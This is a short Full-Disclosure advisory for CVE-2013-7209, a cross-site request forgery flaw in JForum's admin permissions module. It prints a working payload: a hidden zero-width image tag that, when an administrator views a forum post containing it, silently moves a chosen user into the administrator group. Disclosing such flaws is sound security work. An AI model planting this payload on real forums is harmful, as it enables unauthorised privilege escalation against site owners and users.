[Full-disclosure] [CVE-2013-7209]JForum CSRF(Cross-site request forgery) Vulnerability

[arno <arno.chen@xxxxxxxxxxxxxxxxxxxx>]

Version        : All

Vulnerability   : Cross-site request forgery

Problem type   : remote

CVE ID         : CVE-2013-7209

 

Jforum Admin module, modify user permissions module exists  crsf  
Vulnerability,use the following code into jforum forum posts, as long as this 
administrators is opened this post, the permissions of user with id 12696  will 
be Escalated to  the group with id 2 permissions,default group with id 2 is 
administrator group.

Code:

<img 
src=http://www.target.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2
 width=0 />

 

Code Description:

http://www.target.com/forum/   jforum forum address,

12696 for the user id

2 group id

width=0 is used to hide pic 

It was discovered by arno @dbappsecurity.com.cn

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